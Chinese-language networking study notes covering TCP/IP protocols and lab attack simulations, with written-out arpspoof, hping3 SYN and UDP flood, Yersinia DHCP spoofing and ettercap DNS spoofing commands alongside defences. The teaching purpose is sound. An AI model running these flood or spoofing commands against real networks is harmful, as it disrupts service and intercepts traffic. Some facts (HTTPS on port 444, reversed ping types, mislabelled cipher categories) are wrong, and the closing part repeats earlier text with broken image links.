网络协议与攻击模拟

协议

TCP/IP协议簇

  • 网络接口层(没有特定的协议)
    • 物理层 (PPPOE-宽带拨号)
    • 数据链路层
  • 网络层:IP(v4/v6)、ARP(地址解析协议)、RARP、ICMP(internet控制报文协议)、IGMP
  • 传输层:TCP(传输控制协议) UDP(用户数据包协议)
  • 应用层:都是基于传输层协议的端口,总共端口0-65536 固定协议的端口号0-1023
    • DHCP
    • DNS
    • HTTP 80
    • HTTPS 443
    • FTP
    • SMTP
    • POP3
    • IMAP

流量抓取工具(wireshark)

一、网卡

wireshark是对主机网卡上的流量进行抓取

1、网卡模式
  • 混杂模式:不管目的是否是自己,都接受下来当我们抓取流量时开启此模式
  • 非混杂模式:默认情况下,主机的网卡处于此模式,不会接受目的非自己的数据
2、两种过滤器
  • 捕获过滤器:在抓包之前先进行过滤(只抓某种类型的包或者不抓某种类型的包)
  • 显示过滤器:在抓包前和抓包后都可以进行过滤,但是不会影响抓取的包(会抓取所以类型的包,只不过在查看的时候只显示某种包)
3、过滤器
  • 捕获过滤器

    • 语法

      • 类型:主机 host

        ​ 网络 net

        ​ 端口 port

      • 方向:src dst

      • 协议:ether ip tcp udp http ftp…

      • 逻辑运算符:&&与 ||或 !非

    • 举例

      • 抓取源IP为192.168.18.14并且目的端口为80的报文
      src host 192.168.18.14 && dst port 80
      
      • 抓取IP地址为192.168.18.14或者192.168.18.1的报文
      host 192.168.18.14 || host 192.168.18.1
      
      • 不抓取广播报文
      ! broadcast
      
      • 抓取源IP为192.168.18.14或者源192.168.18.0/24,目的TCP端口号200-1000之间,并且目的位于129.0.0.0/8
      (src host 192.168.18.14 || src net 192.168.18.0/24) && (dst portrange 200-1000 && dst net 192.0.0.0/8)
      
  • 显示过滤器

    • 语法

      • 比较操作符:==(eq)

        ​ !=(neq)

        ​ > (gt)

        ​ <(lt)

        ​ >=(ge)

        ​ <=(le)

      • 逻辑操作符:and(&&)

        ​ or(||)

        ​ not 没有条件满足

      • IP地址过滤 :ip.addr

        ​ ip.src

        ​ ip.dst

      • 端口过滤:tcp.port

        ​ udp.port

        ​ tcp.dstport

        ​ tcp.flag.syn

        ​ tcp.flag.ack

      • 协议过滤:arp ip icmp

    • 举例

      • 显示源IP等于192.168.18.14并且TCP端口为443

        ip.src==192.168.18.14 and tcp.port==443
        
      • 显示源不为192.168.18.14或者目的不为202.98.96.68的

        ip.src!=192.168.18.14 or ip.dst!=202.98.96.68
        
4、案例
  • 开启wireshark抓包,抓取所有的报文
  • 过滤DNS的报文,找到对应 域名解析报文
  • 根据DNS返回的IP地址,找到主机与服务器的TCP交互过程
  • 找到客户机请求服务器的HTTP报文,追踪HTTP流的情况
  • 使用ctrl+N可以使用精确查找
tcp.stream eq 66 //追踪长度为66的tcp的流		

ARP协议(地址解析协议)

一、ARP协议

  • 将一个已知的IP地址解析为MAC地址
  • 是一个三层协议,但是工作在二层,是一个2.5层协议

二、工作流程

1、两个阶段
  • ARP请求
  • ARP响应

image-20220117112256015

2、ARP协议报文(分组)格式

image-20220117115128851

3、ARP缓存
  • 主要的目的是为了避免重复去发送ARP请求
可以使用arp -a 来查看当前电脑里的arp缓存
arp -d  可以清空
arp  -s  绑定arp

三、ARP攻击及ARP欺骗(可以进行ARP绑定防止ARP欺骗)

1、ARP攻击
  • 伪造ARP应答报文,向被攻击主机响应虚假的MAC地址
  • 当被攻击主机进行网络通信时,会将数据交给虚假的MAC地址进行转发,由于虚假的MAC地址不存在,所以造成被攻击主机无法访问网络
2、ARP欺骗
  • 在攻击主机上开启IP转发的功能

image-20220117163944758

  • 欺骗网关
    • 伪造ARP应答报文,向被攻击主机和网关响应真实的MAC地址
    • 当被攻击主机进行网络通信时,会将数据交给真实的MAC地址进行转发,从而截获被攻击主机的数据,这时被攻击主机是可以进行网络通信的
  • 欺骗主机
    • 伪造ARP应答报文,向被攻击主机和网关响应真实的MAC地址
    • 当被攻击主机向通信主机发送数据时,会将数据交给真实的MAC地址进行转发,从而截获被攻击主机的数据,这时被攻击主机是可以进行网络通信的

实施ARP欺骗和攻击

一、环境

1、kali Linux
  • 安装一个arpspoof
2、Win10
  • 被攻击主机
二、kali的配置
  • kali Linux系统是基于debian Linux系统,采用deb包管理方式,可以使用apt源的方式进行直接从源安装

    apt-get install  软件名
    
  • 攻击

    arpspoof -i eth0/*发起攻击的接口*/ -t 192.168.43.1/*攻击的目标*/ 192.168.43.1/*路由器IP地址*/ 
    
  • 开启转发功能

    • 方法一
    vim/proc/sys/net/ipv4/ip_forward
    1代表开启
    0代表关闭
    
    • 方法二
    echo 1 >>  /proc/sys/net/ipv4/ip_forward
    >  //代表覆盖
    >>  //代表追加
    
  • 开启监听

    driftnet -i eth0
    

ICMP协议

  • 理解ICMP协议
  • 理解ICMP重定向
  • 会使用wireshark分析ICMP重定向流量

一、ICMP基本概念

1、ICMP协议
  • internet控制报文协议,用于在IP主机、路由器之间传递控制消息

    控制信息指网络通不通、主机是否可达、路由是否可用等等
    
  • ICMP是属于网络层的协议,封装在传输层与网络层之间

image-20220118112342727

2、ICMP报文格式

类型(type)

代码(code)

  • 类型
    • (8 0) 请求
    • (0 0) 回显应答(比较正常的应答)
    • (3 1) 目标不可达(因为code是1,所以为主机不可达)
    • (11 0) 超时(传输期间生存时间为0)
    • (3 3) 目标不可达(因为code是3,所以为端口不可达)
    • (3 2) 目标不可达(因为code是2,所以为协议不可达)
    • 类型13、14 时间戳请求和应答
    • (5 0) 重定向(网络重定向)
    • (5 1) 主机重定向
  • 总计类型0~18
3、ICMP常见的报文
  • 响应请求
    • 使用ping请求(type=0) 响应(type=8)
  • 目标不可达
    • type=3
  • 源抑制
    • 源抑制则充当一个控制流量的角色,它通知主机减少数据报流量,由于ICMP没有恢复传输的报文,所以只要停止该报文,主机就会逐渐恢复传输速率 type=4
  • 超时报文
    • 类型11 code 0 传输超时 ,code 1 重组分段超时
  • 时间戳
    • type=13 时间戳请求
    • type=14 时间戳应答

二、 ICMP重定向

在某些特定情况下,路由器检测到主机使用非优化路由时,会向主机发送一个ICMP重定向报文,使主机的路由改变

在路由表里不显示

  • 实验
    • ICMP重定向原理实验
    • ICMP重定向攻击(在kali上使用工具实施ICMP重定向网关)

image-20220118202242399

image-20220118202516476

image-20220118202542136

image-20220118202709676

Kali更改源

vim /etc/apt/sources.list
apt-get update

image-20220118203731490

image-20220118204016314

TCP协议

  • 传输层功能:定义应用层协议数据报文的端口号,流量控制
  • 对原始数据进行分段处理

传输层提供的服务

  1. 传输连接服务
  2. 数据传输服务:流量控制、差错控制、序列控制

一、传输层的TCP新协议

  1. 面向连接的传输协议(TCP)
    • 要求数据在传输以前必须建立连接,数据传输完成后,必须释放连接
    • 仅支持单播传输:在两个终端之间建立的点对点连接
  2. 面向无连接的传输协议UDP(用户数据报协议)

二、TCP报文字段

image-20220118215212738

  • Flags ----------控制位
Urgent   //发送数据时是否为紧急
Acknowledgment   //确认的控制位
Push    //是否将数据推到上一层
Reset   //是否重置连接
Syn   //建立连接的控制位   ,1表示正在发起请求
Fin    //数据发送完毕之后释放连接
SYN和ACK都=1     //表示对方同意建立连接
  • Window size value —窗口大小
  • Checksum----校验和
  • Urgent pointer----紧急指针

保留字段

保留(Reserved):占 4 位。为 TCP 将来的发展预留空间,目前必须全部为 0。

标志位字段
  • CWR(Congestion Window Reduce):拥塞窗口减少标志,用来表明它接收到了设置 ECE 标志的 TCP 包。并且,发送方收到消息之后,通过减小发送窗口的大小来降低发送速率。
  • ECE(ECN Echo):用来在 TCP 三次握手时表明一个 TCP 端是具备 ECN 功能的。在数据传输过程中,它也用来表明接收到的 TCP 包的 IP 头部的 ECN 被设置为 11,即网络线路拥堵。
  • URG(Urgent):表示本报文段中发送的数据是否包含紧急数据。URG=1 时表示有紧急数据。当 URG=1 时,后面的紧急指针字段才有效。
  • ACK:表示前面的确认号字段是否有效。ACK=1 时表示有效。只有当 ACK=1 时,前面的确认号字段才有效。TCP 规定,连接建立后,ACK 必须为 1。
  • PSH(Push):告诉对方收到该报文段后是否立即把数据推送给上层。如果值为 1,表示应当立即把数据提交给上层,而不是缓存起来。
  • RST:表示是否重置连接。如果 RST=1,说明 TCP 连接出现了严重错误(如主机崩溃),必须释放连接,然后再重新建立连接。
  • SYN:在建立连接时使用,用来同步序号。当 SYN=1,ACK=0 时,表示这是一个请求建立连接的报文段;当 SYN=1,ACK=1 时,表示对方同意建立连接。SYN=1 时,说明这是一个请求建立连接或同意建立连接的报文。只有在前两次握手中 SYN 才为 1。
  • FIN:标记数据是否发送完毕。如果 FIN=1,表示数据已经发送完成,可以释放连接。
窗口大小字段

窗口大小(Window Size):占 16 位。它表示从 Ack Number 开始还可以接收多少字节的数据量,也表示当前接收端的接收窗口还有多少剩余空间。该字段可以用于 TCP 的流量控制。

TCP 校验和字段

校验位(TCP Checksum):占 16 位。它用于确认传输的数据是否有损坏。发送端基于数据内容校验生成一个数值,接收端根据接收的数据校验生成一个值。两个值必须相同,才能证明数据是有效的。如果两个值不同,则丢掉这个数据包。Checksum 是根据伪头 + TCP 头 + TCP 数据三部分进行计算的。

紧急指针字段

紧急指针(Urgent Pointer):仅当前面的 URG 控制位为 1 时才有意义。它指出本数据段中为紧急数据的字节数,占 16 位。当所有紧急数据处理完后,TCP 就会告诉应用程序恢复到正常操作。即使当前窗口大小为 0,也是可以发送紧急数据的,因为紧急数据无须缓存。

可选项字段

选项(Option):长度不定,但长度必须是 32bits 的整数倍。

三、TCP建立连接的三次握手

image-20220118221758965

四、TCP释放连接的四次挥手

image-20220119214456262

五、TCP半关闭状态

  • SYN Flood原理(DOS的一种,目前网络中针对TCP攻击中最常见的一种攻击方式)

六、TCP半连接状态

七、常见的TCP端口号

  • 21------FTP
  • 22------SSH
  • 23------TELNET
  • 25------SMTP
  • 53------DNS(两台DNS设备传输数据(同步)时使用TCP,一般情况下抓不到)
  • 80------HTTP
  • 110------POP3
  • 143------IMAP4
  • 444------HTTPS
  • 3306------MYSQL
  • 3389------RDP

TCP协议-实施SYN Flood

  • 配置kali静态IP
    vim /etc/network/interfaces      
    

    默认情况

    image-20220120102221033

    配置IP地址、子网掩码、默认网关

    auto eth0
    iface eth0	inet static
    address 192.168.1.50 
    netmask 255.255.255.0
    gateway 192.168.1.254
    

    重启网卡

    ifdown eth0    //关闭网卡
    ifup eth0  //开启网卡
    

    查看默认网关

    route -n
    

image-20220120110649585

  • 配置Windows server IP地址
    netsh interface ip set address "Ethernet0" static 192.168.2.100 255.255.255.0 192.168.2.254
    
  • Windows server搭建网站
    • 服务器管理器----管理—添加角色和功能-----Web服务器—安装c

一、实施SYN flood 洪水攻击

hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.2.100  
//c代表数据包的流量  d代表每个数据包的大小 S只发送SYN -w窗口大小 -p目标端口
//--rand-source自动生成随机的IP

image-20220120125919207

使用hping3工具

二、防御SYN flood攻击

  • 使用TCP代理的方式

    image-20220120142011139

  • TCP源探测(比较常用)

image-20220120143634678

UDP协议

UDP(用户数据报)协议,是传输层的另外一个协议

一、简单概念

1、特点
  • 不需要建立连接,直接发送数据,不会去重新排序,不需要确认
2、报文字段
  • 源端口
  • 目标端口
  • UDP长度
  • UDP校验和
3、常见的UDP端口号
  • 53 DNS
  • 69 TFTP
  • 111 RPC
  • 123 NTP
  • 161 SNMP

二、DUP Flood攻击

  • 确保53号端口打开
  • Windows先安装DNS服务
hping3 -q -n --rand-source --udp -p 53 --flood 192.168.2.100 -d 10000
/*
q:使用安静模式
n:数字化输出
*/

image-20220120164328348

DHCP协议

一、DHCP

1、DHCP基本概念
  • dhcp(动态主机配置协议):主要就是给客户机提供TCP/IP参数(IP地址、子网掩码、网关、DNS等)
2、好处
  • 减少管理员工作量
  • 避免输入错误
  • 避免IP冲突
  • 提高IP地址利用率
3、DHCP的工作原理(先到先得)
  • 应用层协议,基于UDP,主机是向服务器67号端口,服务器响应给客户机的68号端口

  • 客户机与服务器的交互过程

image-20220120183016494

  • 客户机以广播方式发送yidhcp discover。

  • 网络中所以的DHCP服务器都会收到,都会响应,客户机会向收到的第一个offer报文的服务器发送DHCP request

  • 服务器确认,客户机获取TCP/IP参数

    discover:广播发送 请求IP
    offer:携带IP
    request:同意IP
    ack:赋予IP
    

二、在Windows server上部署DHCP服务器

169.254开头的IP表示没有获取到IP

image-20220120192146287

默认情况下路由器阻挡报文,使得客户机获取不到IP,可以在路由器上配置DHCP中继

en
conf t
int f0/0	//需要配置中继的接口
ip helper-address 192.168.120.100  //Server的IP地址

image-20220120192620917

路由器响应客户机的请求

1、DHCP的8种报文
  • DHCP discover:重新获取从此开始
  • DHCP offer
  • DHCP request:跟新租期的话从此开始
  • DHCP ack
  • DHCP release:释放
  • DHCP nak:针对于request的拒绝响应报文
  • DHCP declien:当客户端发现服务器分配给它的IP地址发生冲突时,会通过发送此报文来通知服务器,并且会重新向服务器申请地址
  • DHCP inform:客户机已经获取了IP地址,发送此报文的目的是为了从服务器获得其他的一些网络配置信息,比如网关地址、DNS服务器地址等。
2、DHCP的报文格式
  • Message type:消息类型 (1表示请求,2表示响应)

  • Hardware type :硬件类型

  • Hardware address length:硬件地址的长度

  • Hops:经过DHCP中继的数目

  • Transaction ID:事务ID,随机数

  • Seconds elapsed:客户机开始获取IP地址或IP地址续借所用到的秒数

  • Bootp flags:保留的标记字段

  • Client IP address:客户机的IP地址

  • Your (client) IP address:服务器能提供给客户机的IP地址

  • Next server IP address:DHCP服务器的IP地址

  • Relay agent IP address:中继代理的IP

  • Option:涵盖了一些参数,不同的报文Option都不同

实施DHCP欺骗

一、攻击

使用kali去攻击服务器,耗尽服务器的IP地址资源,然后伪装DHCP服务器向客户机提供IP地址

  • 使用工具 :Yersinia
yersinia -G   //图形化界面

image-20220121143847061

需先暂停攻击再伪造

image-20220121144609474

二、DHCP防御

image-20220121151604360

1、在交换机上配置信任端口
  • 开启DHCP监听

    ip dhcp snooping
    
  • 指定监听vlan

    ip dhcp snooping vlan 1
    
  • 由于开启监听后,交换机上的接口都会变成非信任端口(会拒绝DHCP报文),需要将正常的端口添加为信任端口

    int f0/1
    ip dhcp snooping trust
    
  • 启用“选项82”

    ip dhcp snooping information option
    
  • 限制DHCP报文速率

    int f0/0
    ip dhcp snooping limit rate 100
    
  • 启用核实MAC地址 功能

    • 检测非信任端口的请求报文中源MAC地址和DHCP请求报文中的客户端MAC地址是否相同
    ip dhcp snooping verify mac-address
    
    • 查看绑定表
    shou ip dhcp snooping binding
    
    • 清除绑定表
    clera ip dhcp snooping binding
    

当交换机开启DHCP snooping后,所以的接口变成了非信任端口(会拒绝DHCP报文),当把交换机上的某一个接口设置为信任端口后,其他所有接口变成可信任端口(会拒绝DHCP offer)

DNS协议

一、DNS

1、概念
  • DNS(domain name system)域名系统,作为将域名和IP地址的相互映射关系存放在一个分布式的数据库,DNS使用UDP的53号端口
  • 域名:由ICANN机构同意管理
2、域名空间
  • 树状结构

image-20220121220837859

三级域名+二级域名+顶级域

  • 根域:全世界只有十三台根域服务器
  • 顶级域:主要用于区分域名的用途
    • 组织类
      • com 商业
      • edu 教育和学校
      • org 社会非盈利性组织
    • 国家/地区域名
      • cn 中国
      • hk 香港
      • us 美国
      • uk 英国
  • 二级域:大部分申请的域名
  • FQDN(完全限定域名) 主机名.DNS后缀(二级域名)

二、DNS的查询

image-20220121233000652

  • 客户机想要访问www.baidu.com,根据自己的TCP/IP参数,向自己的首选DNS服务器发送DNS请求
  • 首选DNS收到客户机的请求后,会去查询自己的区域文件
    • 找不到www.baidu.com的IP地址信息则将请求交到根域服务器,但是需要配置根提示;
    • 直接可以找到www.baidu.com的IP地址信息,就直接响应给客户机
  • 根域服务器收到请求后,由于根域服务器只维护顶级域服务器信息,会响应顶级域服务器IP(com),首选DNS根据根域服务器响应的信息,将请求转发到com顶级域
  • com顶级域服务器收到请求后,由于com顶级域服务器只维护二级域信息,会响应二级服务器IP(baidu.com),首选DNS根据顶级域响应的信息,将请求转发到baidu.com二级域i
  • baidu.com二级域收到后,baidu.comDNS服务器里维护的是baidu.com区域的所有主机的信息,包含了www.baidu.com的信息,则把对应的IP地址响应给首选DNS
  • 首选DNS再响应给客户机
1、查询方式
  • 递归查询

    • 当客户机请求自己的首选DNS服务器,首选DNS服务器上有域名记录信息,直接响应给客户机(根据上图所示,第1步和第8步就是递归查询)
  • 迭代查询

    • 首选DNS没有域名记录信息,通过一步一步去请求根域服务器、顶级域服务器、二级域服务器、最终找到对应的域名记录信息
2、查询内容
  • 正向:通过域名查IP
  • 反向:通过IP查域名

三、使用Windows部署DNS服务器

1、使用Linux(bind服务)
2、DNS服务器的分类
  • 主要名称服务器:存放区域(二级区域)中相关的设置,存放的是区域文件的正本数据
  • 辅助名称服务器:存放的副本数据,是从主要名称服务器复制过来的,不能修改
  • 主控名称服务器:提供数据复制(可以简单理解成是DNS服务器中的某一个角色)
  • 缓存(cache-only)域名服务器:没有区域文件,需要配置转发器,为了内网用户快速查询域名的对应关系所使用的
3、安装
  • 服务器管理器
  • 管理
  • 添加角色
  • DNS服务器

image-20220121234928798

  • 新建正向区域
  • 主要区域

image-20220121235059925

image-20220121235142625

image-20220121235303270

image-20220121235430026

image-20220121235501378

  • 也可以创建子域

    image-20220122103858959

3、DNS记录
  • A:主机记录,域名和IP地址的映射
  • CNAME:别名记录
  • SOA:权威名称服务器
  • NS:名称服务器
  • MX:邮件交换记录,一般有邮件服务器时使用
  • SRV:正在提供
4、设置辅助服务器

image-20220122110514173

image-20220122110523505

5、区域传送
  • 将主要名称服务器的区域文件传输到辅助名称服务器上
  • 区域传送使用的时TCP的协议

四、分析DNS流量

DNS报文字段
  • ID字段

  • flags:标志

    • 第1位:标识消息类型(0是请求,1是响应)
    • 第2-5位:opcode 查询种类
    • 第6位:标识是否是一个权威应答(请求里面不存在)
    • 第7位:一个UDP报文为512个字节,指示是否截断超过的部分
    • 第8位:是否请求递归
    • 第9位:允许递归标识
    • 第10~12位:保留位
    • 第13~16位:应答码
      • 0:没有错误
      • 1:格式错误
      • 2:服务器错误
      • 3:名字错误
      • 4:服务器不支持
      • 5:拒绝
      • 6~15:保留
  • Questions:请求段的问题记录数

  • Answer RRs:回答段中的记录数

  • Authority RRs:授权段中的授权记录数

  • Additional RRs:附加段中的附加记录数

  • 下面的内容和上面的一一对应

    • Questions 对应Queries
    • Answer RRs对应ANswers

权威服务器的信息

image-20220122123803931

DNS欺骗

image-20220122144227063

需先执行ARP欺骗,再执行DNS欺骗

  • kali

    vim /etc/ettercap/etter.dns
    

    image-20220122152757156

image-20220122152938671

image-20220122153005445

  • ARP欺骗

    image-20220122153538181

image-20220122153942558

image-20220122154033361

FTP协议

一、FTP协议

1、概念

  • FTP(文件传输协议),由两部分组成:客户端/服务器 C/S架构,应用场景:企业内部存放公司文件,开发网站时,利用FTp协议将网页或程序传到网站服务器,网络中传输一些大文件时也使用该协议

  • FTP:基于传输层的TCP协议,默认端口号(20号端口一般用于传输数据,21号端口用于传输控制信息),但是是否使用20号端口作为传输数据端口和FTP的传输模式有关

    • 主动模式:传输数据使用20号端口
    • 被动模式:传输数据使用的端口需要服务器和客户机协商决定
  • 主动模式(port方式)

    • 建立连接使用21号端口,客户端通过此通道向服务器发送port命令,服务器从20号端口主动向客户端发起连接

image-20220122190635520

  • 被动模式(pasv(passive)方式)
    • 建立连接使用21号端口,客户机向服务器发送pasv命令,服务器收到会随机打开一个高端端口(大于1024),服务器在指定范围内的某个端口被动等待客户机连接
image-20220122191439183
  • 传输文件时的传输模式
    • 文本模式:ASCII模式,以文本序列传输
    • 二进制模式:binary模式(视频、图片、应用程序等等)

二、FTP的客户端和服务端

1、服务端程序
  • serv-U(默认采用被动模式)
  • filezila server(开源)
  • vsftpd(Linux平台下)
  • Windows server IIS(FTP发布服务)
2、客户端程序
  • 命令行:ftp 192.168.1.1
  • 资源管理器:ftp://192.168.1.1
  • 浏览器:ftp://192.168.1.1
  • 第三方工具
    • flashFXP
    • filezilla client
    • cuteftp
    • xftp

三、部署FTP

1、针对于FTP的用户
  • 匿名用户
    • anonymous 固定名称(某些FTP的服务端软件也可以使用ftp用户名做为匿名用户)
  • 普通用户
2、配置

image-20220122223542656

  • 如果指定端口,且Windows server 防火墙已打开,则需要开启21和指定的PASV端口范围
  • 如何让zhangsan访问lisi的文件夹
    1. 给zhangsan添加lisi的权限
    2. 配置虚拟路径(会在zhangsan的家目录下生成一个李四的文件夹,点进去就会跳转到lisi的文件夹下)
      1. 物理路径为lisi的文件夹
      2. 虚拟目录 %HOME%\李四的文件夹 %HOME%代表zhangsan的家目录
3、针对于FTP协议的状态码
1xx - 肯定的初步答复
            这些状态代码指示一项操作已经成功开始,但客户端希望在继续操作新命令前得到另一个答复。
    110 重新启动标记答复。
    120 服务已就绪,在 nnn 分钟后开始。
    125 数据连接已打开,正在开始传输。
    150 文件状态正常,准备打开数据连接。 
2xx - 肯定的完成答复 
        一项操作已经成功完成。客户端可以执行新命令。
    200 命令确定。
    202 未执行命令,站点上的命令过多。
    211 系统状态,或系统帮助答复。
    212 目录状态。
    213 文件状态。
    214 帮助消息。
    215 NAME 系统类型,其中,NAME 是 Assigned Numbers 文档中所列的正式系统名称。
    220 服务就绪,可以执行新用户的请求。
    221 服务关闭控制连接。如果适当,请注销。
    225 数据连接打开,没有进行中的传输。
    226 关闭数据连接。请求的文件操作已成功(例如,传输文件或放弃文件)。
    227 进入被动模式 (h1,h2,h3,h4,p1,p2)。
    230 用户已登录,继续进行。
    250 请求的文件操作正确,已完成。
    257 已创建“PATHNAME”。
 
3xx - 肯定的中间答复 
        该命令已成功,但服务器需要更多来自客户端的信息以完成对请求的处理。
    331 用户名正确,需要密码。
    332 需要登录帐户。
    350 请求的文件操作正在等待进一步的信息。
 
4xx - 瞬态否定的完成答复 
        该命令不成功,但错误是暂时的。如果客户端重试命令,可能会执行成功。
    421 服务不可用,正在关闭控制连接。如果服务确定它必须关闭,将向任何命令发送这一应答。
    425 无法打开数据连接。
    426 Connection closed; transfer aborted.
    450 未执行请求的文件操作。文件不可用(例如,文件繁忙)。
    451 请求的操作异常终止:正在处理本地错误。
    452 未执行请求的操作。系统存储空间不够。
 
5xx - 永久性否定的完成答复 
        该命令不成功,错误是永久性的。如果客户端重试命令,将再次出现同样的错误。
    500 语法错误,命令无法识别。这可能包括诸如命令行太长之类的错误。
    501 在参数中有语法错误。
    502 未执行命令。
    503 错误的命令序列。
    504 未执行该参数的命令。
    530 未登录。
    532 存储文件需要帐户。
    550 未执行请求的操作。文件不可用(例如,未找到文件,没有访问权限)。
    551 请求的操作异常终止:未知的页面类型。
    552 请求的文件操作异常终止:超出存储分配(对于当前目录或数据集)。
    553 未执行请求的操作。不允许的文件名。

HTTP协议

一、HTTP协议

1、概念
  • HTTP(超文本传输协议)是用于在万维网服务器长传输超文本(HTML)到本地浏览器的传输协议
  • TCP/IP蔟的一员(HTML文件、图片、查询结构等)
  • 基于传输层TCP的80端口
2、万维网服务
  • 采用C/S架构
  • 客户机通过浏览器去请求,从而在浏览器上就可以看到对应的图形界面 浏览器/服务器(B/S)
3、万维网服务的软件
  • Windows server IIS(Windows)

  • apache(多平台)

  • tomact(多平台)

  • nginx(多平台)

二、HTTP工作原理

  • 在客户端使用浏览器通过URL向HTTP服务器发送请求
    • URL(统一资源定位器),由三部分组成

image-20220123130616221

  • Web服务器根据收到的请求直接向客户机响应信息

  • HTTP默认的端口为80端口,默认端口可以更改(会影响客户机的访问,建议改为其他非标准端口)

  • 交互过程

    image-20220123131515230

1、注意事项
  • HTTP是无连接,只建立TCP的三次握手:限制每次连接只处理一个请求
  • HTTP是独立的:只要客户端和服务器知道如何处理数据内容,任何类型的数据都可以通过HTTP发送。客户端以及服务器指定使用合适的MIME-type(消息内容类型)
  • HTTP是无状态的:没有记忆能力,后续处理的内容需要用到前面内容时,就必须重传,每次连接传送的数据量比较大;从另一个方面考虑,服务器不需要提供先前信息,应答就比较快
2、配置
  • Windows server 添加Web服务器

HTTPS协议

**HTTPS = HTTP + SSL/TLS **

核心内容

  • 加密算法
  • PKI体系(公钥基础设施)
  • 证书
  • 部署HTTPS服务器
    • 部署CA证书服务器
  • 分析HTTPS流量
    • 分析TLS交互过程

一、HTTPS协议

  • 在http的通道上增加了安全性,传输过程中通过加密和身份认证确保传输的安全性
1、TLS
  • 传输层安全协议,SSL和TLS其实是一个协议,最早期为SSL2.0版本,自SSL3.0版本后,更名为TLS1.0,目前最高版本为TLS1.3,使用最广泛的是1.2版本
  • 设计目标
    • 保密性:所有的信息都加密传输
    • 完整性:校验机制
    • 认证:双方都配备证书,防止冒充
    • 互操作、通用性
    • 可扩展
    • 高效率
2、HTTP的缺陷
  • 明文传输
  • 只对传输数据的长度进行完整性校验,对数据是否有被篡改不做确认
3、HTTPS的好处
  • 在传输数据之前,客户端会和服务器去协商数据在传输过程中的加密算法,包含自己的非对称加密的密钥交换算法(RSA/DH),数据签名摘要算法(MD5/SHA),加密传输数据的对称加密算法(DES/3DES/AES)
  • 客户端生成随机的字符串,通过协商好的非对称加密算法,使用服务端的公钥对改字符串进行加密,发送给服务端。服务端接收到之后,使用自己的私钥解密得到该字符串。在随后的数据传输中,使用这个字符串作为密钥进行对称加密

二、加密算法

1、对称加密算法
  • 加密和解密的密钥相同

    • 密钥如何传输问题
    • 密钥多,难管理
  • 非对称加密算法

    • DES/3DES
    • AES
    • RC
    • IDEA

image-20220123181743626

2、非对称加密算法
  • 加密与解密使用的是不同的密钥(公钥(公开密钥)和私钥),每个用户都可以有自己的公钥和私钥,公钥是公开的,私钥是自己保存,只要一个密钥加密就必须用另一个密钥解密
  • 缺点:加密算法比较复杂,对于大规模的数据进行加密,比较影响效率
  • 常见的算法
    • Elgamal:基于DH密钥交换算法来的
    • RSA
    • ECC
    • Rabin

为了解决非对称加密算法效率较低的情况,通常使用以下加密算法

image-20220123175519174

三、PKI体系

1、基本概念
  • 公钥基础设施

    • 通过使用公钥技术(非对称加密算法)和数字签名来保证信息安全
    • 公钥加密技术(非对称加密算法)、数字证书、CA(证书颁发机构)、RA(证书注册机构)组成
  • 实现的功能

    • 身份验证
    • 数据完整性
    • 数据机密性
    • 操作不可否认性
  • 身份认证及完整性验证

    • 发送方Ailce首先将原始数据通过摘要算法(SHA)算出信息摘要,并且用自己的私钥进行签名得到数字签名,将数字签名和原始数据发送给接收方bob
    • 接收方bob收到Ailce发来的原始数据和数字签名后,将原始数据通过相同的摘要算法(SHA)得出摘要信息,再用Ailce的公钥将数字签名解开得出Ailce的信息摘要(完成Ailce的身份认证),比对两个摘要是否一致,如果一致,说明数据再传输过程中没有被修改

image-20220123204011063

  • 数字证书
    • 保证密钥的合法性
    • 证书的主体可以是用户、计算机、服务等
    • 证书包含的信息
      • 使用者的公钥
      • 使用者的标识
      • 有效期
      • 颁发者的标识信息
      • 颁发者的数字签名
2、数据安全传输案例

image-20220123211521685

image-20220123211737664

3、数字证书颁发机构
  • CA主要进行颁发和管理数字证书
  • CA作用

四、证书服务器(https服务器)

添加服务和角色——————添加Active Directory证书服务——————添加证书颁发机构Web注册

部署证书服务器
  • Windows active directory 证书服务:基于域,这里用独立
  • Linux open ssl

五、分析HTTPS流量

image-20220124154653663

最后传输数据

邮件协议(SMTP、POP3、IMAP4)

一、电子邮件系统

winmail

1、概述
  • 网络电子邮件系统,好处在于,价格低廉,速度非常快

  • 形式多样化

    • 文字
    • 图像
    • 声音
  • 相同的邮箱

    image-20220124190053078

  • 不同的邮箱

    image-20220124190127074

  • 邮件协议

    • SMTP:简单的邮件传输协议。默认端口号为TCP的25号端口,主要用于传输电子邮件(发送邮件)
    • POP3:邮局协议第3版,默认端口号TCP110号,主要用于下载接受邮件(接受邮件)
    • IMAP:网际消息访问协议第4版,默认端口号为TCP的143号端口,主要用于在线查看邮件(接受邮件)
2、常见的电子邮件系统(服务端)
  • exchange
  • postfix(GUN出品,开源)
  • 第三方(QQ、163、126、winmail)
3、常见邮件客户端
  • foxmail
  • outlook
  • 网易邮箱大师
  • QQ邮箱客户端
4、SMTP状态码
  • 250:所要求的邮件动作完成,可以继续

  • 354:开始接受邮件内容输入

  • 221:服务器关闭了传输通道

  • 334:认证输入
    1892415428)]

  • 数字证书

    • 保证密钥的合法性
    • 证书的主体可以是用户、计算机、服务等
    • 证书包含的信息
      • 使用者的公钥
      • 使用者的标识
      • 有效期
      • 颁发者的标识信息
      • 颁发者的数字签名
2、数据安全传输案例

[外链图片转存中…(img-tT2x5kL3-1651892415429)]

[外链图片转存中…(img-E6ikanF5-1651892415429)]

3、数字证书颁发机构
  • CA主要进行颁发和管理数字证书
  • CA作用

四、证书服务器(https服务器)

添加服务和角色——————添加Active Directory证书服务——————添加证书颁发机构Web注册

部署证书服务器
  • Windows active directory 证书服务:基于域,这里用独立
  • Linux open ssl

五、分析HTTPS流量

[外链图片转存中…(img-CjHXhBio-1651892415429)]

最后传输数据

邮件协议(SMTP、POP3、IMAP4)

一、电子邮件系统

winmail

1、概述
  • 网络电子邮件系统,好处在于,价格低廉,速度非常快

  • 形式多样化

    • 文字
    • 图像
    • 声音
  • 相同的邮箱

    [外链图片转存中…(img-YVyud4Vd-1651892415429)]

  • 不同的邮箱

    [外链图片转存中…(img-2mLHMYga-1651892415430)]

  • 邮件协议

    • SMTP:简单的邮件传输协议。默认端口号为TCP的25号端口,主要用于传输电子邮件(发送邮件)
    • POP3:邮局协议第3版,默认端口号TCP110号,主要用于下载接受邮件(接受邮件)
    • IMAP:网际消息访问协议第4版,默认端口号为TCP的143号端口,主要用于在线查看邮件(接受邮件)
2、常见的电子邮件系统(服务端)
  • exchange
  • postfix(GUN出品,开源)
  • 第三方(QQ、163、126、winmail)
3、常见邮件客户端
